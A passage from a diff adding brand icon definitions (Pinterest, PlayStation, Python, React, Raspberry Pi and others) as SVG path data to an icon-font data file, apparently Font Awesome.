0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z"], + "pied-piper-pp": [448, 512, [], "f1a7", "M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z"], + "pied-piper-square": [448, 512, [], "e01e", "M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z"], + "pinterest": [496, 512, [], "f0d2", "M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z"], + "pinterest-p": [384, 512, [], "f231", "M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"], + "pinterest-square": [448, 512, [], "f0d3", "M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z"], + "playstation": [576, 512, [], "f3df", "M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z"], + "product-hunt": [512, 512, [], "f288", "M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z"], + "pushed": [432, 512, [], "f3e1", "M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z"], + "python": [448, 512, [], "f3e2", "M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z"], + "qq": [448, 512, [], "f1d6", "M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z"], + "quinscape": [512, 512, [], "f459", "M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z"], + "quora": [448, 512, [], "f2c4", "M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z"], + "r-project": [581, 512, [], "f4f7", "M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z"], + "raspberry-pi": [407, 512, [], "f7bb", "M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z"], + "ravelry": [512, 512, [], "f2d9", "M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z"], + "react": [512, 512, [], "f41b", "M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z"], + "reacteurope": [576, 512, [], "f75d", "M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 